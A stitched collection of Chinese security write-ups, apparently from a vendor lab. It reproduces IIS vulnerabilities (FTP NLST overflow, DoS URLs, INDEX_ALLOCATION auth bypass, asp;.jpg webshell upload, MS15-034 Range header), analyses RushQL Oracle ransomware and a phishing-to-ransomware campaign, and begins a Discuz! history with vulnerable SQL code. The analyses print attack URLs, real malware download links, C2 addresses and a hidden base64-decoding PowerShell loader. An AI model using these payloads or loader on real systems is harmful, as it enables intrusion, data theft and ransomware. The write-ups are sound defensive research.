IIS包括用于通过TCP计算机网络交换和操作文件的FTP服务器服务。它默认侦听端口21以获取来自FTP客户端的传入连接。IIS支持的FTP命令之一是名称列表(NLST)命令。此命令用于将目录列表从服务器传输到客户端。该命令的语法如下:

NLST <SPACE> <pathname> <CRLF>

此命令中的路径名应指定目录或其他特定于系统的文件组描述符;在pathname为NULL时,使用当前目录。NLST命令可以使用诸如“*”之类的通配符来引用多个路径。

Microsoft Internet信息服务(IIS)中存在缓冲区溢出漏洞。该漏洞是由于处理NLST FTP命令时边界检查不足造成的。当FTP用户请求包含通配符的路径名过长的目录列表时,易受攻击的代码会将目录路径名复制到0x9F(159)字节的基于堆栈的缓冲区中,而不进行边界验证。提供包含大于0x9F(159)字节的路径名会使堆栈缓冲区溢出,从而可能会覆盖关键进程数据(如函数返回地址)。

远程身份验证的攻击者可以通过连接到易受攻击的IIS FTP服务器并向目标服务器发送恶意NLST命令来利用此漏洞。成功利用将导致使用System权限执行代码。如果代码执行攻击不成功,可能会导致受影响的FTP会话异常终止。

注意:为了成功利用此漏洞,NLST命令中指定的长路径名必须存在于目标系统上。因此,利用此漏洞的攻击可能伴随着MKD命令的使用。

· 漏洞类型:可远程利用,存在缓冲区溢出漏洞,可触发代码执行

· 漏洞复现:

复现环境:Win XP SP3 x64专业版,默认IIS 5.1

1. 搭建好IIS FTP靶机环境,测试anonymous默认匿名用户可用,且可创建和读写目录;

2. 测试正常MKD创建和NLST正常长度的目录的功能是否正常:

图片5.png

以上somefolder为FTP服务器上正常长度文件夹,NLST命令执行成功并返回结果提示226。

3. 测试创建和NLST异常目录长度,服务器返回150,打开数据连接,成功执行命令。

图片6.png

· 漏洞缓解:

1. 此漏洞仅在IIS 5.x和6.0版本存在,升级IIS版本或者更新MS09-053补丁即可规避此漏洞;

2. 此漏洞成功利用的条件主要包括:IIS启用FTP服务且存在FTP默认站点、攻击者登陆FTP的账户有创建和读写文件夹的权限。

2.  DOS拒绝服务漏洞

2.1  (MS07-041)Microsoft IIS 5.1远程缓冲区溢出漏洞  CVE-2005-4360

2.1.1 漏洞描述

Microsoft IIS处理某些畸形的HTTP请求时存在漏洞,远程攻击者可能利用此漏洞对服务器进行拒绝服务攻击。远程攻击者可以使用WEB浏览器之类的工具发送特制的匿名HTTP请求导致IIS服务进程inetinfo.exe崩溃。仅在文件夹的"执行权限"设置为"脚本和可执行程序"时才会出现这个漏洞。有漏洞的虚拟文件夹包括"/_vti_bin"等。此外如果提交恶意请求还可能会触发缓冲区溢出,导致在用户系统上执行任意代码。

2.1.2 漏洞分析和复现

· 漏洞影响版本:IIS 5.1

· 漏洞分析:

IIS包括一个能够提供静态和动态内容的Web服务器组件。IIS的Web组件提供Web应用程序功能。通过Web应用程序,服务器可以在后端执行脚本,并将生成的内容提供给请求客户端。客户端可以请求许多可执行资源,例如Perl脚本、Active Server Pages(ASP)或动态链接的库资源。用于提供动态动态内容的虚拟目录需要配置后台执行脚本的权限。

Microsoft Internet Information Services产品的HTTP服务器组件中存在可远程利用的拒绝服务漏洞。在特殊情况下,当多次请求动态链接的库资源时,受影响的服务可能会因此而关闭。由于服务器无法处理格式错误的URL请求,因此创建了该漏洞。恶意请求必须满足几个条件才能触发此漏洞。请求URL必须包含来自以下字符的有限集合中的字符(注意,不可见字符需要使用以下字符范围的URL编码形式):

• %3f

• ”

• *

• :

• <

• >

•字符%01 – %1f的范围

请求还必须包含波形符“~”字符,后面跟一个十进制数字。

· 漏洞类型:可远程利用,可触发DOS攻击

· 漏洞复现:

复现环境:Win XP SP3 x64专业版,默认IIS 5.1

1. 配置IIS默认wwwroot根目录下的虚拟目录_vti_bin执行权限为“脚本和可执行文件”权限;

图片7.png

2. 浏览器发送恶意url远程访问靶机环境,复现成功,服务器返回500错误:

Eg:http://192.168.180.200/_vti_bin/.dll/%1f\~0

图片8.png

图片9.png

· 漏洞缓解:

1. 此漏洞仅在IIS 5.1版本存在,升级IIS版本或者更新MS07-041补丁即可规避此漏洞;

2. 此漏洞成功利用的条件主要包括:要求在服务器端将请求的虚拟目录配置为“脚本和可执行文件”权限,不开启此权限的服务器不存在漏洞。

2.2 (MS09-053)Microsoft IIS FTP服务器递归列表拒绝服务漏洞   CVE-2009-2521

2.2.1 漏洞描述

IIS 5.0至7.0版本的FTP服务在处理递归目录列表请求时存在栈消耗漏洞。拥有对目录写访问权限的远程攻击者可以通过提交包含有通配符(如星形标识符)的请求导致拒绝服务(守护进程崩溃)。

2.2.2 漏洞分析和复现

· 漏洞影响版本:IIS 5.0、IIS 5.1、IIS 6.0、IIS 7.0

· 漏洞分析:

通过包含通配符的list(ls)-R命令在Microsoft IIS FTP服务器5.0到7.0中触发拒绝服务条件,即ls "-R p*/../"命令可导致FTP服务器拒绝服务。 此漏洞利用有三个条件:

(1)一个有效的ftp帐户,拥有只读或写入权限;

(2)“FTP发布”服务必须在启动类型中配置为“手动”模式;

(3) FTP根目录下至少有一个目录。

· 漏洞类型:可远程利用,可触发DOS攻击

· 漏洞复现:

复现环境:Win XP SP3 x64专业版,默认IIS 5.1

1. 添加FTP服务器角色,IIS信息服务管理控制台“FTP站点下”启动FTP默认站点

图片10.png

2. 配置ftp默认用户anonymous/anonymous,拥有读写目录权限;

3. 目录下创建一个文件夹BB,然后输入ls "-R p*/../",成功复现DOS拒绝服务,ftp连接关闭:

图片11.png

中间很多重复:

p*/../BB:
BB

图片12.png

FTP服务器提示“远程主机关闭连接”,FTP拒绝服务,漏洞复现成功。

· 漏洞缓解:

1. 此漏洞仅在IIS 5.0-7.0版本存在,升级IIS版本或者更新MS09-053补丁即可规避此漏洞;

2. 此漏洞成功利用的条件主要包括:IIS启用FTP服务且存在FTP默认站点、攻击者登陆FTP的账户有创建和读写文件夹的权限。

3.  认证绕过漏洞

3.1  IIS认证绕过和源码泄露漏洞复现

3.1.1 漏洞描述

Microsoft IIS(Internet Information Server)是Microsoft Windows系统默认自带的Web服务器软件,其中默认包含FTP服务。Microsoft IIS中存在认证绕过漏洞和源码泄露漏洞,该漏洞源于对用户提供的输入未经正确的验证。攻击者可利用这些漏洞在服务器进程上下文中获取密码保护资源和查看源代码文件的未授权访问,且有助于进一步攻击。

3.1.2 漏洞分析和复现

· 漏洞影响版本:IIS 6.0、IIS 7.5

· 漏洞分析:

Microsoft IIS由于无法正确清理用户提供的输入,容易出现身份验证绕过漏洞和源代码泄露漏洞。主要包括以下三类绕过:

(1) 安装了PHP的Microsoft IIS 6.0身份验证绕过:

IIS / 6.0加载受保护(如:admin)目录中的PHP文件需要用户认证信息(用户名和密码访问),如果将“:: $ INDEX_ALLOCATION”后缀附加到目录名称后面,存在绕过认证并可能访问管理文件等特殊情况,导致IIS服务器重要信息泄露;

 Eg:/admin::$INDEX_ALLOCATION/index.php

(2) Microsoft IIS 7.5经典ASP身份验证绕过:

配置了经典ASP和.NET Framework 4.0的Microsoft IIS 7.5,通过将“:$ i30:$ INDEX_ALLOCATION”后缀附加到需要认证的请求目录名称后面,可以绕过经典的ASP文件访问限制;

Eg:举例:/admin:$i30:$INDEX_ALLOCATION/index.asp

(3) Microsoft IIS 7.5 .NET源代码公开和身份验证绕过:

在配置中安装了PHP的Microsoft IIS / 7.5,存在认证绕过漏洞;

Eg:http://<victimIIS75>/admin:$i30:$INDEX_ALLOCATION/admin.php

除此之外,通过将/.php附加到ASPX文件(或使用未通过请求过滤规则阻止的.NET框架的任何其他文件,如错误配置:.CS,.VB等文件)。IIS 7.5使用文件的完整源代码进行响应,并将其作为PHP代码执行。这意味着通过使用上传功能,可以(在特殊情况下)执行任意PHP代码。

Eg:  http://<victimIIS75>/Default.aspx/.php   (php任意代码执行)

· 漏洞类型:可远程利用,可触发认证绕过和信息泄露

· 漏洞复现:

复现环境:Windows 7 x64位,默认IIS 7.5

以下验证复现上述(3)的漏洞,(1)和(2)类似此处不做验证:

1. IIS网站根目录下创建admin用户目录,关闭默认用户认证,换言之,访问/admin/index.php目录下的文件需要认证信息,认证失败或者无认证信息将会返回401未授权页面;

图片13.png

图片14.png

2. 配置完成后,重启IIS服务器,浏览器远程访问此文件:http://192.168.180.207/admin/index.php,默认IIS账户访问提示401未授权;

图片15.png

3. 接下来,利用:$i30:$INDEX_ALLOCATION来绕过此限制,浏览器远程访问:

http://192.168.180.207/admin:$i30:$INDEX_ALLOCATION/index.php,成功绕过并访问到敏感信息;

图片16.png

4. 除此之外,如果目标站点限制上传和访问php文件,可以利用上传aspx(.net支持解析的文件类型)文件逃避限制,将其当做php代码执行;

Eg:网站目录下有一个index.aspx的文件,里面写有php代码,正常通过http://192.168.180.207/admin:$i30:$INDEX_ALLOCATION/index.aspx访问此文件无法执行代码,通过在末尾加上index.aspx/.php形式访问将会成功执行php代码;

图片17.png

a. 正常绕过访问index.aspx文件,页面返回乱码,未执行phpinfo代码:

图片18.png

b. 通过在末尾加上/.php,成功执行php代码:

图片19.png

· 漏洞缓解:

1. IIS 7.5 配置.NET Framework 2.0不受上述(2)的绕过影响;

2. 攻击者需要事先获取IIS服务器受认证保护目录;

4.  信息泄露漏洞

4.1 Microsoft IIS 短文件名泄露漏洞

4.1.1 漏洞描述

 IIS短文件名漏洞是由于HTTP请求中携带旧DOS 8.3名称约定(SFN)的代字符(~)波浪号引起的。它允许远程攻击者在Web根目录下公开文件和文件夹名称(不应该可被访问)。攻击者可以找到通常无法从外部直接访问的重要文件,并获取有关应用程序基础结构的信息。

4.1.2 漏洞分析和复现

· 漏洞影响版本:IIS 5.0-10.0全系列版本

· 漏洞分析:

Windows 支持以 8.3 格式生成与 MS-DOS 兼容的(短)文件名,以允许基于 MS-DOS 或 16 位 Windows的程序访问这些文件。基于Windows的IIS服务器默认根目录C:\inetpub\wwwroot下的网页脚本文件和目录符合一定条件时,会生成相应的短文件名。此时,攻击者利用HTTP的DEBUG、OPTIONS、GET、POST、HEAD、TRACE等方法携带波浪号,可以对IIS服务器短文件名进行暴力猜解,依据返回的页面信息和状态码来确认真实存在的文件名,从而获取服务器敏感信息,为下一步攻击做准备。

· 漏洞类型:可远程利用,可触发信息泄露

· 漏洞复现:

复现环境:Windows 7 x64位,默认IIS 7.5

1. 通过cmd下进入IIS网站根目录C:\inetpub\wwwroot,输入“dir /x”查看已存在的短文件名:

图片20.png

2. 使用公开POC或者扫描程序探测目标靶机的短文件名,成功猜解到服务器根目录短文件名称:

图片21.png

· 漏洞缓解:

1. 限制IIS服务器HTTP方法,除了必要的GET、POST方法,其他HTTP方法建议关闭,视情况开启;

2. IIS服务器文件建议使用复杂字符或者中文命名,增加后期攻击者暴力破解难度;

3. 针对已存在的IIS服务器,建议关闭NTFS 8.3文件格式的支持或者修改注册表禁用短文件名功能。

注:详细原理和解决方案请参考:https://www.freebuf.com/articles/web/172561.html

5.  代码执行漏洞

5.1 Microsoft IIS畸形文件扩展名绕过安全限制漏洞  CVE-2009-4444

5.1.1 漏洞描述

IIS服务器错误的执行了带有多个扩展名的文件中所包含的ASP代码。例如,malicious.asp;.jpg被执行为了ASP文件。很多文件上传程序仅检查文件扩展名的最后部分,因此这可能导致绕过保护机制向服务器上传恶意可执行文件。

5.1.2 漏洞分析和复现

· 漏洞影响版本:IIS 6.0

· 漏洞分析:

此漏洞主要原因是IIS第三方上传应用没有限制文件上传格式或者限制不够严格,只检查了文件末尾的格式,导致攻击者可以将如Asp webshell伪装成malicious.asp;.jpg文件格式上传到IIS服务器。IIS的Classic ASP功能在处理asp文件时,被此畸形文件格式的分号截断了,认为是asp文件并进行相应的解析处理。攻击者则在获取上传路径后通过远程访问执行此webshell,控制IIS服务器甚至Windows宿主机器。

· 漏洞类型:可远程利用,文件上传绕过可触发代码执行

· 漏洞复现:

复现环境:Win server 2003 Sp2 32位企业版,默认IIS 6.0

1. IIS服务器根目录下创建一个名为aspwebshell.asp;.jpg的文件,用记事本打开,放入asp webshell代码(实际利用过程中是通过第三方应用上传绕过漏洞上传此文件,并设法获取此上传路径);

图片22.png

2. 通过浏览器远程访问此文件,http://192.168.180.201/aspwebshell.asp;.jpg,成功执行asp webshell代码:

图片23.png

· 漏洞缓解:

1. 严格限制IIS第三方应用上传文件的格式;

2. 此漏洞仅影响IIS 6.0,其他版本解析asp文件不会被分号截断,可升级至无此漏洞的IIS版本。

5.2 (MS15-034)Microsoft IIS远程代码执行漏洞复现  CVE-2015-1635 

5.2.1 漏洞描述

Microsoft Windows是美国微软(Microsoft)公司发布的一系列操作系统。Microsoft Internet Information Services(IIS)是一套运行于Microsoft Windows中的互联网基本服务。使用Microsoft IIS 6.0以上版本的Microsoft Windows的HTTP协议堆栈(HTTP.sys)中存在远程执行代码漏洞,该漏洞源于HTTP.sys文件没有正确分析经特殊设计的HTTP请求。成功利用此漏洞的攻击者可以在系统帐户的上下文中执行任意代码。

5.2.2 漏洞分析和复现

· 漏洞影响版本:IIS 7.5、IIS 8.0、IIS 8.5

· 漏洞分析:

IIS进程w3wp.exe接收到HTTP请求后,将数据缓存到内核中,并整合HTTP回应头,最后由http.sys组织数据包经由网络内核组件发送出去。请求中包括Range对象的指定范围,而缓存中则包含了http文件和大小信息等。

根据公开POC,构造包含“Range: bytes=0-18446744073709551615”的HTTP请求并发送到IIS 7.5-8.5服务器,如果IIS服务器返回“Requested Range Not Satisfiable”,则存在漏洞,如果返回“The request has an invalid header name”或者没有回应,则说明漏洞已经修补或者不存在漏洞。

· 漏洞类型:可远程利用,可触发代码执行

· 漏洞复现:

复现环境:Win server 2008 R2 64位企业版,默认IIS 7.5

1. 开启IIS默认网站

2. 根据公开poc发送包含特殊设计的Range字段攻击靶机环境,成功检测到漏洞:

图片24.png

· 漏洞缓解:

1. 禁用 IIS 内核缓存,详情见微软官方公告:

https://docs.microsoft.com/zh-cn/security-updates/securitybulletins/2015/ms15-034

2. 升级IIS至IIS 10.0版本,此版本不存在此漏洞。

三、 漏洞总结

IIS 远程漏洞主要包括缓冲区溢出、认证绕过、拒绝服务、代码执行和信息泄露漏洞,本地漏洞主要分布在信息泄露和权限提升漏洞分类,大部分漏洞利用难度较大,但是一旦成功被攻击者利用,影响的不仅仅只是IIS服务器,甚至可能是运行IIS的Windows主机。如果用户主机被利用,那么攻击者可以将此台主机当作肉鸡攻击内网中的其他主机、服务器或者网络设备等,后果不堪设想。

如果IIS服务器的网站配置不当,攻击者可以通过IIS短文件名猜解和暴力破解用户隐私文件并进行认证绕过访问,获取用户隐私信息。此外,不合理的上传限制也会导致攻击者上传含有恶意代码或webshell并伪装成合法的文件,进而导致IIS服务器被攻陷。攻击者利用提权漏洞或者命令执行等漏洞,对IIS服务器甚至是Windows操作系统进行进一步的攻击。无论是对IIS服务器本身的服务还是该IIS服务器所处的网络环境,IIS漏洞都是一个极大的隐患,也让IIS网站管理员和不少运维人员心惊胆战。

一、事件背景

近日,Oracle数据库勒索病毒又活跃了,其实这并非新病毒,早在2年前,即2016年11月就发现了,深信服一直持续关注此病毒。

我们提醒用户,无需过渡恐慌,只要不要乱下载PL/SQL破解版工具就不会中招!

不确认是否中招的用户,我们这里率先提供简单!有效!的自检工具,一键运行,无需安装,即可快速判断是否感染了Oracle数据库勒索病毒。

话不多说,直接上Oracle勒索病毒自检工具:http://edr.sangfor.com.cn/tool/SfCheckPLSQL.zip

中毒截图证明如下:

图片1.png

深信服安全团队早在5月28号就接到多起Oracle数据库被勒索的案例,中毒之后数据库显示如下勒索信息:

1.jpg

提取到相应的样本之后,经过深入分析,EDR安全团队确认该病毒是RushQL数据库勒索病毒,是由于使用了破解版的PL/SQL导致的。

二、样本分析

1.样本是一个PL/SQL自带的AfterConnect.sql自动运行脚本,此文件在官司PL/SQL软件中为空文件,该勒索病毒就是利用了这个文件,相应的样本,如下所示:

2.png

脚本的关键代码,采用了Oracle数据库专用加密工具wrap进行了加密,如下所示:

3.png

2.对代码进行解密,得到相应的四个存储过程和三个触发器,四个存储过程,如下所示:

4.png

以上DBMS_SUPPORT_INTERNAL存储器的主要功能:

如果数据库创建日期 > 1200 天之后则:

(1)创建并备份sys.tab$表的数据到表 ORACHK || SUBSTR(SYS_GUID,10)

(2)删除sys.tab$中的数据,条件是所有表的创建者ID 在(0,38)范围

(3)通过SYS.DBMS_BACKUP_RESTORE.RESETCFILESECTION清理掉备份信息

(4)通过DBMS_SYSTEM.KSDWRT在你的alert日志中写上2046次勒索信息

(5)抛出一个警告提示勒索信息

5.png

以上DBMS_SYSTEM_INTERNAL存储器的主要功能:

如果当前日期 – 数据表(不含SYSTEM, SYSAUX, EXAMPLE)的最小分析日期 > 1200 天,且当前客户端程序进程名不是“C89239.EXE”,则触发警告提示勒索信息

6.png

以上DBMS_CORE_INTERNAL存储器的主要功能:

把表名不含$,不含ORACHK,不是cluster的表放到一个游标里面,然后取非SYSTEM,SYSAUX,EXAMPLE之外的表空间的表的最小统计信息收集时间和当前时间比较如果大于1200天就执行truncate table操作,操作完成之后判断如果登录程序不为C89239.EXE,则触发警告提示勒索信息

7.png

以上DBMS_STANDARD_FUN9存储器的主要功能:

动态执行PL/SQL脚本

3.三个触发器的相应内容,如下所示:

在数据库启动时执行存储过程DBMS_SUPPORT_INTERNAL

8.png

在登录数据库时执行存储过程DBMS_SYSTEM_INTERNAL

9.png

在登录数据库时执行存储过程DBMS_CORE_INTERNAL

10.png

三、解决方案

1.删除被恶意篡改的客户端软件

2.根据不同的情况进行不同处理:

情况一:

SYSDATE – MIN(LAST_ANALYZED) 小于1200天

数据库损坏情况:未损坏

处理办法:

a.删除三个触发器:

"DBMS_SUPPORT_INTERNAL "

"DBMS_SYSTEM_INTERNAL "

"DBMS_CORE_INTERNAL "

b.删除四个存储过错:

"DBMS_SUPPORT_INTERNAL "

"DBMS_SYSTEM_INTERNAL "

"DBMS_CORE_INTERNAL "

"DBMS_STANDARD_FUN9"

情况二:

SYSDATE – MIN(LAST_ANALYZED) 大于1200天,并且SYSDATE – CREATED大于1200天但未重启 或者 SYSDATE – CREATED 小于1200天

数据库损坏情况:某些表被truncate

处理方法:

a.删除三个触发器和四个存储过程

b.使用备份把表恢复到truncate之前

c.使用DUL恢复(不一定能恢复所有的表,如truncate的空间已被使用)

情况三:

SYSDATE – CREATED 大于1200天

数据库损坏情况:某些表被truncate以及tab$被删除

处理方法:

a.删除三个触发器和四个存储过程

b.使用备份把表恢复到truncate之前

c.使用ORACHK开头的表恢复tab$

d.使用DUL恢复(不一定能恢复所有的表,如truncate的空间已被使用)

3. 检查相关登录工具的自动化脚本,清理有风险的脚本:

SQL*PLUS 中的glogin.sql/login.sql

Toad 中的toad.ini

PL/SQL Developer中的ogin.sql/AfterConnect.sql

4.建议从官网下载工具,不要使用绿色版/破解版等

四、参考链接

https://blogs.oracle.com/cnsupport_news/%E5%AF%B9%E6%95%B0%E6%8D%AE%E5%BA%93%E7%9A%84%E2%80%9C%E6%AF%94%E7%89%B9%E5%B8%81%E6%94%BB%E5%87%BB%E2%80%9D%E5%8F%8A%E9%98%B2%E6%8A%A4

深信服EDR安全团队,整理分析了一起某电商钓鱼事件,通过关联信息,发现背后可能存在一个“产业链齐全”的黑客团伙,研究发现其具备“一站式服务”的黑客攻击手段。

黑客攻击手段包括但不限于钓鱼邮件、漏洞利用、挖矿病毒、勒索病毒、无文件攻击、远控木马、键盘记录器、密码破解等,是一次完整而全套的“服务”。

图片1.png

最开始,可能仅仅是一封精心构造的邮件触发的,经过信息收集和远程控制,在闲时挖矿榨干主机性能,当窃取到足够机密,又最后“卸磨杀驴”“杀鸡取卵”,执行勒索操作。

图片2.png

0x01 定向撒网捞鱼:钓鱼邮件

XX公司已经被黑客盯上了,黑客通过社工拿到该公司的各种邮件账号,并给这些账号发送了钓鱼邮件。

员工A收到一份邮件,这是一份包含了doc附件(实际上是一份富文本文件)的邮件,doc名称为TransferCopy.doc。

以下是邮件的基本信息:

图片3.png

看上去是一份无害的文件,点开查看该doc,也未发现异常(但此时已经开始后台偷偷执行)。

0x02 苍蝇不叮无缝的蛋:漏洞利用

苍蝇不叮无缝的蛋,一个普通的doc文档不能触发什么,但是,那是一个特殊构造的文档,里面肯定利用了什么漏洞的。

我们将邮件样本中的Base64加密的附件b64EnTransferCopy.doc提取出来,检测Base64解码的b64DeTransferCopy.doc,发现了b64DeTransferCopy.doc文档中的特殊文本。

图片4.png

图片5.png

可以判断其利用了CVE-2010-3333,漏洞溢出后,执行了下载动作。

图片6.png

在doc中发现恶意下载链接:

图片7.png

图片8.png

"http://polariton.rghost.ru/download/74zJT5wtf/b878e693051a8e541381b1d6378f4ddf62b d96b3/b878e693051a8e541381b1d6378f4ddf62bd96b3/b878e693051a8e541381b1d6378f 4ddf62bd96b3/DFGHDFGHJ4567856.exe"

访问这个网址之后,会跳转到http://rgho.st/74zJT5wtf?r=1088

图片9.png

0x03 侦查兵先行:下载木马

渗透企业内网,免不了先侦查内部主机信息的,黑客最开始,选择了下载并执行木马,完成初步的信息收集和远程控制。

我们将这个样本下载下来,检测为.NET程序,程序没有加壳,但是经过了混淆。

图片10.png

通过De4dot反混淆得到如下信息,但是程序还是存在一定的混淆,采用动态分析。

图片11.png

动态分析程序DFGHDFGHJ4567856.exe行为,发现其执行cmd命令 cmd.exe /c systeminfo 获取系统基本信息,写入Info.txt。 

图片12.png

图片13.png

释放AutoUpdate.exe并通过设置注册表,设置其为自启动,进行键鼠记录,将所有的动作记录在logs_xx.xx.xxxx(日期格式).htm文件。

图片14.png

图片15.png

释放键鼠记录器pass.exe并启动,进行密码搜集或者密码破解。

图片16.png

该程序在完成所有释放和启动工作后,会使用HTTP协议连接恶意C2进行交互(回传信息)。

图片17.png

图片18.png

0x04 对抗升级:无文件攻击

为了进一步对抗安全产品,黑客并未停手,采取了更为高级、更为隐蔽的攻击手段。

我们发现,其通过自启动注册表项,启动PowerShell执行相应的命令

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden -c "$val = (gp HKLM:SOFTWARE\'??').'??'; $d = [System.Text.Encoding]::Unicode.GetString([System.convert]::FromBase64String($val)); iex $d"

分析上面的命令,它会读取HKLM:SOFTWARE\'??'注册表项的内容,然后通过Base64解码之后执行,另一个注册表项的内容是一串Base64的字符串。

图片19.png

多次解码之后,得到相应的PowerShell源代码。

图片20.png

通过PowerShell脚本,创建一个线程,注入一段ShellCode到远程进程中,执行ShellCode,解密出相应的ShellCode代码。

图片21.png

通过InternetOpenA/InternetConnectA/HttpOpenRequestA/HttpSendRequestA等函数,连接或发送网络请求到相应的黑客服务器地址138.197.2.46

图片22.png

分配相应的内存空间,从黑客服务器上读取相关的恶意程序到内存。

图片23.png

从黑客服务器上获取到的文件

图片24.png

ShellCode通过反射型DLL注入到进程执行

图片25.png

分析从内存中Dump出来的文件,是一个后门程序。

后门程序,释放相应的远控恶意程序文件Folder.exe

图片26.png

Folder.exe拷贝自身到C:\Users\panda\AppData\Roaming目录下

图片27.png

并设置一个隐藏目录的文件夹,将文件拷贝到隐藏目录文件夹下

图片28.png

并设置注册表自启动项

图片29.png

将之前释放到隐藏目录下的副本远控创建为计划任务启动项

图片30.png

黑客可以实时监控这台主机,动态分析显示其与远程C2服务器14.215.177.39地址进行通信。

图片31.png

0x05 持续褥羊毛:挖矿

黑客在攻破该主机之后,就为该主机种上挖矿病毒,持续榨干其性能。

图片32.png

0x06 猪养肥了就杀掉:执行勒索

在某天,黑客觉得信息偷得差不多了,挖矿也挖了一段时间,想最后干票大的。其通过远程进来之后,从网站上下载了一个勒索病毒。

图片33.png

下载的网站如下:

http://polariton.rghost.ru/download/74QVXtyvn/5a32f4e1983822ed5d4fcedf2b8d4c276dd77263/5a32f4e1983822ed5d4fcedf2b8d4c276dd77263/Release.zip

运行下载后的程序,会加密主机上的文件,如下所示:

图片34.png

并弹出勒索信息界面,研究发现这是一个CrySiS勒索病毒。

图片35.png

至此,全套“服务”完成,员工可以下班了。

一、Discuz!的前世今生

Discuz!全称Crossday Discuz! Board,是北京康盛新创科技有限责任公司推出的一套通用的社区论坛软件系统。自2001年6月面世以来,Discuz!已拥有15年以上的应用历史和200多万网站用户案例,是全球成熟度最高、覆盖率最大的论坛软件系统之一。

Discuz!论坛软件系统项目起始于 2001 年底,初创时名称为 CDB,初期只是一个利用业余时间完成的一个免费软件。在发布之后,CDB收到了众多使用者,积累了第一批用户。2002 年中到 2003 年初,CDB 开发组利用一时期的技术积累,对 CDB 的代码进行了 100% 重新编写和架构,并将 CDB 改名为 Discuz!,2003年06月 Discuz!2.0发布,Discuz!2.0是当时惟一采用编译模板系统构建的商业化产品。Discuz!真正诞生。2010年10月20日 Discuz!7.2正式版发布,Discuz!论坛软件系统已经走了近10年,论坛技术已经相对稳定。经过多年的技术积累,Discuz!在2010年与X-Space相结合,推出Discuz!X系列,Discuz!从一个社区论坛系统转型为集论坛(BBS)、社交网络(SNS)、门户(Portal)、群组(Group)、开放平台(Open Platform)应用融合于一体的建站一站式服务体系。Discuz!X系列作为主打产品,一直发展至今,受到众多用户的欢迎。

但是,Discuz!作为发展了近18年的老产品,其版本数量也多的惊人,它的一个大版本就相当于对应了一个系列,以下一张图片就可以展示Discuz!的主要版本。除去最初的CDB以及Discuz!2.0、Discuz!3.0,其余的大版本也有18个之多,我们可以看出Discuz!还有一个产品是Discuz!NT,该产品是一个ASP语言编写的论坛系统,使用量一般,本文就不过多叙述。

图片1.png

图 1 Discuz!版本信息

Discuz!是中国知名的社区论坛服务软件,在中国的活跃使用量数以十万计,根据全网数据统计,目前Discuz!在国内的使用量超过13W,在各省分布中,Discuz!在浙江使用量最高,位列第一;第二是北京,第三则是北京,下图2展示了Discuz!在全国范围内使用量排行前七的地域。

图片2.png

图 2  Discuz!使用量地域分布

Discuz!自从发布了Discuz!X系列后,Discuz!X不仅仅能是一个社交论坛系统,也是一个电子商务建站系统、内容管理系统、社交博客系统等。所以,Discuz!能被用在各行各业当中。根据全网数据统计,Discuz!X在政府部门的使用量超过250余个,同时也被用于众多高校的BBS中,并且在个人BBS建站中,占据绝对领先地位,同时也被用于众多商业领域。Discuz!建站系统推出时间很长,使用面广,但由于PHP较强的灵活性以及其他安全原因,从诞生之初就不断爆出各种高危漏洞。因此,Discuz!的安全性一直以来被备受质疑。

二、Discuz!备受质疑的安全性

根据千里目实验室漏洞库的统计,Discuz!历史漏洞总量高达200余个,其中Discuz!系列由于开发时间较早,代码较不规范,漏洞较多,漏洞超过130个以上,而Discuz!X作为其主打升级产品,漏洞数量比之前Discuz!少,约为80余个。

Discuz!高危漏洞也超过40余个,其高危漏洞类型主要有以下几类:注入类、命令执行类、远程文件包含、远程文件删除漏洞等,其中SQL注入问题以及XSS注入问题是最为严重的两类,其数量超过漏洞总量的百分之80%以上,这也是与Discuz!的特性有关,作为论坛社交门户,用户可操作的地方过多,外部可控参数量多,如果未做好注入过滤以及安全性检测,就会出现很多的注入类漏洞。以下是Discuz!漏洞数量最多的五类漏洞的分布图。

图片3.png

图2 Discuz!漏洞类型分布

接下来,笔者将会介绍这几种漏洞类型中具有代表性的漏洞。

2.1 SQL注入漏洞

根据漏洞统计数据,SQL注入漏洞总量少于反射型XSS注入漏洞,但是均远高于其他类型漏洞。并且,从漏洞与Discuz!版本的对应关系可以看出,SQL注入漏洞主要存在于Discuz!版本当中,而在Discuz!X系列产品中,包含较少,根据笔者分析,原因主要是因为Discuz!产品较老,所处年代对安全不够重视,而Discuz!X是属于2010后产品,代码较之前较为规范,框架中包含了预防SQL注入、预防XSS注入等模块,整体减少了该系列产品中SQL注入漏洞的数量。下面,笔者将介绍几个Discuz!的经典高危害性SQL注入漏洞。

2.1.1 Discuz!7.2 faq.php SQL 注入漏洞

1.漏洞原理

该漏洞是一个Discuz!7.2版本较为典型的漏洞,Discuz!7.2是Discuz!系列的最高版本,也是最后一个专注社区论坛的版本,因此在使用量上较高。

Discuz!7.2 faq.php SQL 注入漏洞存在于文件faq.php中,

} elseif($action == 'grouppermission') {
       require_once'./include/forum.func.php';
       require_oncelanguage('misc');
       $permlang =$language;
       unset($language);
       $searchgroupid =isset($searchgroupid) ? intval($searchgroupid) : $groupid;
       $groups =$grouplist = array();
       $query =$db->query("SELECT groupid, type, grouptitle, radminid FROM{$tablepre}usergroups ORDER BY (creditshigher<>'0' ||creditslower<>'0'), creditslower");
       $cgdata =$nextgid = '';
       while($group =$db->fetch_array($query)) {
              $group['type']= $group['type'] == 'special' && $group['radminid'] ? 'specialadmin' :$group['type'];
              $groups[$group['type']][]= array($group['groupid'], $group['grouptitle']);
              $grouplist[$group['type']].= '<option value="'.$group['groupid'].'"'.($searchgroupid ==$group['groupid'] ? ' selected="selected"' :'').'>'.$group['grouptitle'].($groupid == $group['groupid'] ? ' ←': '').'</option>';
              if($group['groupid']== $searchgroupid) {
                     $cgdata= array($group['type'], count($groups[$group['type']]) - 1, $group['groupid']);
              }
       }
       if($cgdata[0] =='member') {
              $nextgid =$groups[$cgdata[0]][$cgdata[1] + 1][0];
              if($cgdata[1]> 0) {
                     $gids[1]= $groups[$cgdata[0]][$cgdata[1] - 1];
              }
              $gids[2] =$groups[$cgdata[0]][$cgdata[1]];
              if($cgdata[1]< count($groups[$cgdata[0]]) - 1) {
                     $gids[3]= $groups[$cgdata[0]][$cgdata[1] + 1];
                     if(count($gids)== 2) {
                            $gids[4]= $groups[$cgdata[0]][$cgdata[1] + 2];
                     }
              }elseif(count($gids) == 2) {
                     $gids[0]= $groups[$cgdata[0]][$cgdata[1] - 2];
              }
       } else {
              $gids[1] =$groups[$cgdata[0]][$cgdata[1]];
       }
       ksort($gids);
       $groupids =array();
       foreach($gids as$row) {
              $groupids[]= $row[0];
       }
       $query =$db->query("SELECT * FROM {$tablepre}usergroups u LEFT JOIN{$tablepre}admingroups a ON u.groupid=a.admingid WHERE u.groupid IN(".implodeids($groupids).")");
       $groups =array();

